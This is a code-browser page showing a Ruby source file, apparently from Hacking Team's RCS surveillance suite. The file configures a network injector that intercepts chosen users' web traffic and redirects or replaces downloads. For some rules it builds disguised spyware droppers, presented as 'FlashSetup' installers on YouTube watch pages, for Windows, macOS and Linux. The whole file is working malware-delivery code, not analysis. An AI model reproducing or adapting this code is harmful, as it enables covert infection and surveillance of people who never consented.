hackedteam/rcs-db

View on GitHub
lib/rcs-db/tasks/injector.rb

Summary

Maintainability
D
1 day
Test Coverage
require_relative '../tasks'

module RCS
module DB

class InjectorTask
  include RCS::DB::NoFileTaskType
  include RCS::Tracer

  def total
    injector = ::Injector.find(@params['injector_id'])
    injector.rules.where(:enabled => true).count + 2
  end
  
  def next_entry
    injector = ::Injector.find(@params['injector_id'])
    
    base = rand(10)
    progressive = 0
    redirect_user = {}
    redirect_url = []
    intercept_files = []
    vector_files = {}

    raise "Cannot send rules to a Network Injector that has never synchronized with the system" if injector.version == 0
    raise "Cannot send rules to a Network Injector which has errors" if ::Status.where({type: 'injector', address: injector.address, status: ::Status::OK}).count == 0

    # TODO: check before release
    raise "Version too old, please update the Network Injector" if injector.version < 2014012001

    injector.rules.where(:enabled => true).each do |rule|

      # make sure to enable the scout on older rules
      if rule.scout.nil?
        rule.scout = true
        rule.save
      end

      tag = injector.redirection_tag + (base + progressive).to_s
      progressive += 1

      yield @description = "Creating rule No: #{progressive}"
      
      # use the key of the hash to avoid duplicates
      redirect_user["#{rule.ident} #{rule.ident_param}"] ||= tag

      # automatic patterns for rules
      rule.resource = '*www.youtube.com/watch*' if rule.action == 'INJECT-HTML-FLASH'

      redirect_url << "#{redirect_user["#{rule.ident} #{rule.ident_param}"]} #{rule.probability} #{rule.resource}"

      case rule.action
        when 'REPLACE', 'INJECT-HTML-FILE'
          vector_files[rule.action_param_name] = RCS::DB::GridFS.to_tmp(rule[:_grid])
          intercept_files << "#{redirect_user["#{rule.ident} #{rule.ident_param}"]} #{rule.action} #{rule.action_param_name} #{rule.resource}"

        when 'INJECT-EXE'
          # generate the cooked agent
          inject_exe(intercept_files, redirect_user, rule, vector_files)

        when 'INJECT-HTML-FLASH'
          inject_html_flash(intercept_files, progressive, redirect_user, rule, vector_files)

      end

    end

    yield @description = "Creating binary config"

    bin_config_file = Config.instance.temp("%f-%s" % [Time.now, SecureRandom.hex(8)])

    Zip::OutputStream.open(bin_config_file) do |z|
      z.put_next_entry("redirect_user.txt")
      redirect_user.each_pair do |key, value|
        z.puts "#{key} #{value}"
      end

      z.put_next_entry("redirect_url.txt")
      z.puts "REDIRECT_PAGE = redirect.html"
      redirect_url.each do |value|
        z.puts value
      end

      z.put_next_entry("intercept_file.txt")
      intercept_files.each do |value|
        z.puts value
      end

      vector_files.each_pair do |filename, file|
        puts "#{filename} -> #{file}"
        z.put_next_entry("vectors/" + filename)
        z.write File.open(file, 'rb') {|f| f.read}
        FileUtils.rm_rf(file)
      end
    end

    trace :info, "Injector config file size: " + File.size(bin_config_file).to_s

    # make sure to delete the old one first
    GridFS.delete injector[:_grid] unless injector[:_grid].nil?

    # save the binary config into the grid, it will be requested by NC later
    injector[:_grid] = GridFS.put(File.open(bin_config_file, 'rb+'){|f| f.read}, {filename: injector[:_id].to_s})
    injector[:_grid_size] = File.size(bin_config_file)

    # delete the temp file
    FileUtils.rm_rf(bin_config_file)

    injector.configured = false
    injector.save

    yield @description = "Creating binary config"

    raise "Cannot push to #{injector.name}" unless Frontend.nc_push(injector)
    
    @description = "Rules applied successfully"
  end

  def inject_html_flash(intercept_files, progressive, redirect_user, rule, vector_files)
    appname = 'FlashSetup-' + progressive.to_s
    intercept_files << "#{redirect_user["#{rule.ident} #{rule.ident_param}"]} #{rule.action} #{appname} #{rule.resource}"

    begin
      # WINDOWS
      temp_zip = Config.instance.temp("%f-%s" % [Time.now, SecureRandom.hex(8)])
      # generate the dropper
      params = {'factory' => {'_id' => rule.action_param},
                'binary' => {'demo' => LicenseManager.instance.limits[:nia][1]},
                'melt' => {'admin' => true, 'cooked' => true, 'appname' => appname, 'scout' => rule.scout}
      }
      build = Build.factory(:windows)
      build.create params
      FileUtils.cp build.path(build.outputs.first), temp_zip
      build.clean

      # extract the zip
      Zip::File.open(temp_zip) do |z|
        z.each do |f|
          f_path = Config.instance.temp("%f-%s" % [Time.now, SecureRandom.hex(8)])
          z.extract(f, f_path) unless File.exist?(f_path)
          vector_files[f.name.gsub('.cooked', '.windows')] = f_path
        end
      end
      FileUtils.rm_rf(temp_zip)
    rescue Exception => e
      #raised if no license for that platform
      trace :error, e.message
    end

    begin
      # OSX
      temp_zip = Config.instance.temp("%f-%s" % [Time.now, SecureRandom.hex(8)])
      # generate the dropper
      params = {'factory' => {'_id' => rule.action_param},
                'binary' => {'demo' => LicenseManager.instance.limits[:nia][1]},
                'melt' => {'admin' => false, 'appname' => appname + '.osx'}
      }
      build = Build.factory(:osx)
      build.create params
      FileUtils.cp build.path(build.outputs.first), temp_zip
      build.clean

      # extract the zip
      Zip::File.open(temp_zip) do |z|
        z.each do |f|
          f_path = Config.instance.temp("%f-%s" % [Time.now, SecureRandom.hex(8)])
          z.extract(f, f_path) unless File.exist?(f_path)
          vector_files[f.name] = f_path
        end
      end
      FileUtils.rm_rf(temp_zip)
    rescue Exception => e
      #raised if no license for that platform
      trace :error, e.message
    end

    begin
      # LINUX
      temp_zip = Config.instance.temp("%f-%s" % [Time.now, SecureRandom.hex(8)])
      # generate the dropper
      params = {'factory' => {'_id' => rule.action_param},
                'binary' => {'demo' => LicenseManager.instance.limits[:nia][1]},
                'melt' => {'admin' => false, 'appname' => appname + '.linux'}
      }
      build = Build.factory(:linux)
      build.create params
      FileUtils.cp build.path(build.outputs.first), temp_zip
      build.clean

      # extract the zip
      Zip::File.open(temp_zip) do |z|
        z.each do |f|
          f_path = Config.instance.temp("%f-%s" % [Time.now, SecureRandom.hex(8)])
          z.extract(f, f_path) unless File.exist?(f_path)
          vector_files[f.name] = f_path
        end
      end
      FileUtils.rm_rf(temp_zip)
    rescue Exception => e
      #raised if no license for that platform
      trace :error, e.message
    end

  end

  def inject_exe(intercept_files, redirect_user, rule, vector_files)
    factory = ::Item.where({_id: rule.action_param}).first
    intercept_files << "#{redirect_user["#{rule.ident} #{rule.ident_param}"]} #{rule.action} #{factory.ident} #{rule.resource}"

    temp_zip = Config.instance.temp("%f-%s" % [Time.now, SecureRandom.hex(8)])
    # generate the dropper
    params = {'factory' => {'_id' => rule.action_param},
              'binary' => {'demo' => LicenseManager.instance.limits[:nia][1]},
              'melt' => {'admin' => true, 'cooked' => true, 'appname' => factory.ident, 'scout' => rule.scout}
    }
    build = Build.factory(:windows)
    build.create params
    FileUtils.cp build.path(build.outputs.first), temp_zip
    build.clean

    # extract the zip
    Zip::File.open(temp_zip) do |z|
      z.each do |f|
        f_path = Config.instance.temp("%f-%s" % [Time.now, SecureRandom.hex(8)])
        z.extract(f, f_path) unless File.exist?(f_path)
        vector_files[f.name] = f_path
      end
    end
    FileUtils.rm_rf(temp_zip)
  end

end

end # DB
end # RCS